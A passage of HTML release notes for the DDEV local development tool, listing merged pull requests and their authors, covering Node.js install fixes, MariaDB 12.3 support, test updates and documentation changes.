<li>chore(composer): add <code>COMPOSER_NO_BLOCKING</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4540301022" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8432" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8432/hovercard" href="https://github.com/ddev/ddev/pull/8432">#8432</a></li>
<li>fix(exec): allocate TTY only when stdout is also a terminal, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091341649" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8234" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8234/hovercard" href="https://github.com/ddev/ddev/pull/8234">#8234</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4540181746" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8431" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8431/hovercard" href="https://github.com/ddev/ddev/pull/8431">#8431</a></li>
<li>feat(docker-rootless): remove no-bind-mounts requirement, test gvisor-tap-vsock by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512197309" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8426" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8426/hovercard" href="https://github.com/ddev/ddev/pull/8426">#8426</a></li>
<li>build: pin Node.js to 24.15.0, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4555564450" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8436" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8436/hovercard" href="https://github.com/ddev/ddev/issues/8436">#8436</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4557653464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8438" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8438/hovercard" href="https://github.com/ddev/ddev/pull/8438">#8438</a></li>
<li>test(linux): wait for nc to bind before asserting in port-diagnose tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4577688152" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8446" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8446/hovercard" href="https://github.com/ddev/ddev/pull/8446">#8446</a></li>
<li>test: rework local HTTP test helpers with clearer failure output by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4581438165" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8447" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8447/hovercard" href="https://github.com/ddev/ddev/pull/8447">#8447</a></li>
<li>fix(nodejs): move install to Dockerfile, add ~/n/bin to PATH, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4447652737" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8414" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8414/hovercard" href="https://github.com/ddev/ddev/issues/8414">#8414</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4447694768" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8415" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8415/hovercard" href="https://github.com/ddev/ddev/issues/8415">#8415</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565282332" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8443" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8443/hovercard" href="https://github.com/ddev/ddev/pull/8443">#8443</a></li>
<li>fix(zensical): retry strict build on false-positive "page does not exist" warnings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597532685" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8451" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8451/hovercard" href="https://github.com/ddev/ddev/pull/8451">#8451</a></li>
<li>ci(linux): use full homebrew formulae name, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4589599706" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8450" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8450/hovercard" href="https://github.com/ddev/ddev/issues/8450">#8450</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4612159727" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8455" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8455/hovercard" href="https://github.com/ddev/ddev/pull/8455">#8455</a></li>
<li>test(quickstart): update asterios page check by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4612039963" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8454" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8454/hovercard" href="https://github.com/ddev/ddev/pull/8454">#8454</a></li>
<li>feat: add MariaDB 12.3 LTS support, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604820646" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8452" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8452/hovercard" href="https://github.com/ddev/ddev/issues/8452">#8452</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4607401729" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8453" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8453/hovercard" href="https://github.com/ddev/ddev/pull/8453">#8453</a></li>
<li>fix(dbserver): use wrapper scripts for MariaDB 11.x+ MySQL compat, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2760145770" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6861" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6861/hovercard" href="https://github.com/ddev/ddev/issues/6861">#6861</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614529441" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8456" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8456/hovercard" href="https://github.com/ddev/ddev/pull/8456">#8456</a></li>
<li>test(buildkite): Fix brew upgrade to use -y for new 6.0.0 release, fix setup-homebrew by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642259004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8469" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8469/hovercard" href="https://github.com/ddev/ddev/pull/8469">#8469</a></li>
<li>build(gnupg): Remove references to obsolete gnupg2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656275880" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8475" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8475/hovercard" href="https://github.com/ddev/ddev/pull/8475">#8475</a></li>
<li>fix: recreate service on <code>ddev utility rebuild -s</code>, support profile services by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4630837333" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8463" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8463/hovercard" href="https://github.com/ddev/ddev/pull/8463">#8463</a></li>
<li>fix(nodejs): preserve nodejs_version in config.yaml, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4002111935" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8186" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8186/hovercard" href="https://github.com/ddev/ddev/issues/8186">#8186</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624943154" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8462" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8462/hovercard" href="https://github.com/ddev/ddev/pull/8462">#8462</a></li>
<li>fix(nodejs): move N_PREFIX to /usr/local/n and make it writable, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632809900" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8465" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8465/hovercard" href="https://github.com/ddev/ddev/issues/8465">#8465</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4635081802" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8467" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8467/hovercard" href="https://github.com/ddev/ddev/pull/8467">#8467</a></li>
<li>fix(nginx): suppress favicon.ico and robots.txt 404 logs, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2869143534" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7010" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7010/hovercard" href="https://github.com/ddev/ddev/issues/7010">#7010</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624409272" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8461" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8461/hovercard" href="https://github.com/ddev/ddev/pull/8461">#8461</a></li>
<li>fix(ssh): use RawCmd to avoid double-sourcing bashrc, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1835843764" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/5232" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/5232/hovercard" href="https://github.com/ddev/ddev/issues/5232">#5232</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624030279" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8460" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8460/hovercard" href="https://github.com/ddev/ddev/pull/8460">#8460</a></li>
<li>docs: install util-linux-extra in Docker setup, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332343177" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8350" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8350/hovercard" href="https://github.com/ddev/ddev/issues/8350">#8350</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4666141620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8480" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8480/hovercard" href="https://github.com/ddev/ddev/pull/8480">#8480</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4666141620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8480" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8480/hovercard" href="https://github.com/ddev/ddev/pull/8480">#8480</a></li>
<li>feat: improve ddev list/describe table layout, add OSC 8 terminal hyperlinks, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1991790083" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/5535" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/5535/hovercard" href="https://github.com/ddev/ddev/issues/5535">#5535</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2249382464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6113" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6113/hovercard" href="https://github.com/ddev/ddev/issues/6113">#6113</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4653278220" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8474" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8474/hovercard" href="https://github.com/ddev/ddev/pull/8474">#8474</a>)  [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4653278220" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8474" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8474/hovercard" href="https://github.com/ddev/ddev/pull/8474">#8474</a></li>
<li>fix: skip OS-generated metadata files in custom-config detection and .ddev/.gitignore, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4475692720" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8418" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8418/hovercard" href="https://github.com/ddev/ddev/issues/8418">#8418</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4665439123" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8478" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8478/hovercard" href="https://github.com/ddev/ddev/pull/8478">#8478</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4665439123" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8478" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8478/hovercard" href="https://github.com/ddev/ddev/pull/8478">#8478</a></li>
<li>fix(mutagen): detect missing docker CLI early, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614824791" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8457" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8457/hovercard" href="https://github.com/ddev/ddev/issues/8457">#8457</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4665774207" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8479" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8479/hovercard" href="https://github.com/ddev/ddev/pull/8479">#8479</a></li>
<li>docs(docker): add troubleshooting for permission denied, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4645427389" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8471" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8471/hovercard" href="https://github.com/ddev/ddev/issues/8471">#8471</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4675675317" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8483" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8483/hovercard" href="https://github.com/ddev/ddev/pull/8483">#8483</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4675675317" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8483" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8483/hovercard" href="https://github.com/ddev/ddev/pull/8483">#8483</a></li>
<li>test(quickstart): update shopware6 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4675529151" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8482" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8482/hovercard" href="https://github.com/ddev/ddev/pull/8482">#8482</a></li>
<li>fix: warn when CAROOT is set but CA files are inaccessible, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4677876085" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8485" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8485/hovercard" href="https://github.com/ddev/ddev/issues/8485">#8485</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4678327612" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8486" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8486/hovercard" href="https://github.com/ddev/ddev/pull/8486">#8486</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4678327612" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8486" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8486/hovercard" href="https://github.com/ddev/ddev/pull/8486">#8486</a></li>
<li>fix(tui): prevent docker/cli stdin from consuming TUI shortcuts, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4562065445" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8440" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8440/hovercard" href="https://github.com/ddev/ddev/issues/8440">#8440</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4685382113" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8489" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8489/hovercard" href="https://github.com/ddev/ddev/pull/8489">#8489</a></li>
<li>fix: add /usr/local/n/bin to sudo secure_path, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4685293783" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8488" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8488/hovercard" href="https://github.com/ddev/ddev/issues/8488">#8488</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4685872989" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8490" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8490/hovercard" href="https://github.com/ddev/ddev/pull/8490">#8490</a></li>
<li>fix(start): show warnings from log-stderr.sh on start, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4563471219" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8441" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8441/hovercard" href="https://github.com/ddev/ddev/issues/8441">#8441</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4675066040" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8481" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8481/hovercard" href="https://github.com/ddev/ddev/pull/8481">#8481</a></li>
<li>build(deps): bump go dependencies, migrate to go-github v88 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4694258253" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8492" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8492/hovercard" href="https://github.com/ddev/ddev/pull/8492">#8492</a></li>
<li>test(quickstart): pin <code>@sveltejs/adapter-node@5.5.4</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701858950" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8497" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8497/hovercard" href="https://github.com/ddev/ddev/pull/8497">#8497</a></li>
<li>test(docs): Ignore link check URLs [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4702819191" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8499" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8499/hovercard" href="https://github.com/ddev/ddev/pull/8499">#8499</a></li>
<li>build: bump actions/checkout from 6 to 7 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718149342" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8504" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8504/hovercard" href="https://github.com/ddev/ddev/pull/8504">#8504</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718149342" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8504" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8504/hovercard" href="https://github.com/ddev/ddev/pull/8504">#8504</a></li>
<li>fix: restrict XDG_CONFIG_HOME to Linux, add DDEV_XDG_CONFIG_HOME for cross-platform overrides, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4694586960" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8493" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8493/hovercard" href="https://github.com/ddev/ddev/issues/8493">#8493</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4694816575" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8494" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8494/hovercard" href="https://github.com/ddev/ddev/pull/8494">#8494</a></li>
<li>fix(webserver): prevent recursion in global web command wrappers, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2790468327" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6902" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/6902/hovercard" href="https://github.com/ddev/ddev/pull/6902">#6902</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701412145" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8495" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8495/hovercard" href="https://github.com/ddev/ddev/pull/8495">#8495</a></li>
<li>fix(nodejs): always install gulp-cli and yarn, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701417432" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8496" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8496/hovercard" href="https://github.com/ddev/ddev/issues/8496">#8496</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4702408419" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8498" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8498/hovercard" href="https://github.com/ddev/ddev/pull/8498">#8498</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4702408419" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8498" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8498/hovercard" href="https://github.com/ddev/ddev/pull/8498">#8498</a></li>
<li>feat(windows): support Debian and Kali WSL2 distros in GUI installer, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559357943" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8439" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8439/hovercard" href="https://github.com/ddev/ddev/issues/8439">#8439</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4641003281" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8468" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8468/hovercard" href="https://github.com/ddev/ddev/issues/8468">#8468</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632394063" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8464" data-hovercard-type="pull_request" 